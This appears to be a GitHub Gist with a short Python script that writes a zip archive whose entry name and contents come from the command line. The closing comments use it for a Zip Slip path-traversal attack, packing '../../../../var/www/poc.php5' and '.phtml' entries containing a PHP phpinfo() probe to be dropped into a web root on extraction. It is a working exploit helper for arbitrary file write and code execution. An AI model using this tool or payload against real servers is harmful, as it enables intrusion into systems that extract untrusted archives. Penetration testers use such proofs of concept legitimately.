Created
March 24, 2021 20:55
-
-
Save 3lpsy/ed1a9d31d708ef43e79e720303322e5f to your computer and use it in GitHub Desktop.
Create Zip File
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import zipfile | |
from io import BytesIO | |
import sys | |
def _build_zip(outpath, filepath, filecontents): | |
mp = BytesIO() | |
with zipfile.ZipFile(mp, "w", zipfile.ZIP_DEFLATED) as zf: | |
zf.writestr(filepath, filecontents.encode()) | |
with open(outpath, "wb") as f: | |
f.write(mp.getvalue()) | |
print("[*] Internal zip path:", filepath) | |
print("[*] Internal zip contents:", filecontents) | |
print("[*] Saved to:", outpath) | |
if __name__ == "__main__": | |
if len(sys.argv) < 4: | |
print( | |
"Usage: zip.py [savelocalpath] [internalzippath] [internalcontents]" | |
) | |
else: | |
_build_zip(sys.argv[1], sys.argv[2], sys.argv[3]) | |
# python3 zipit.py save.zip '../../../../var/www/poc.php5' '<?php phpinfo(); ?>' | |
# python3 zipit.py save.zip '../../../../var/www/poc.phtml' '<?php phpinfo(); ?>' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment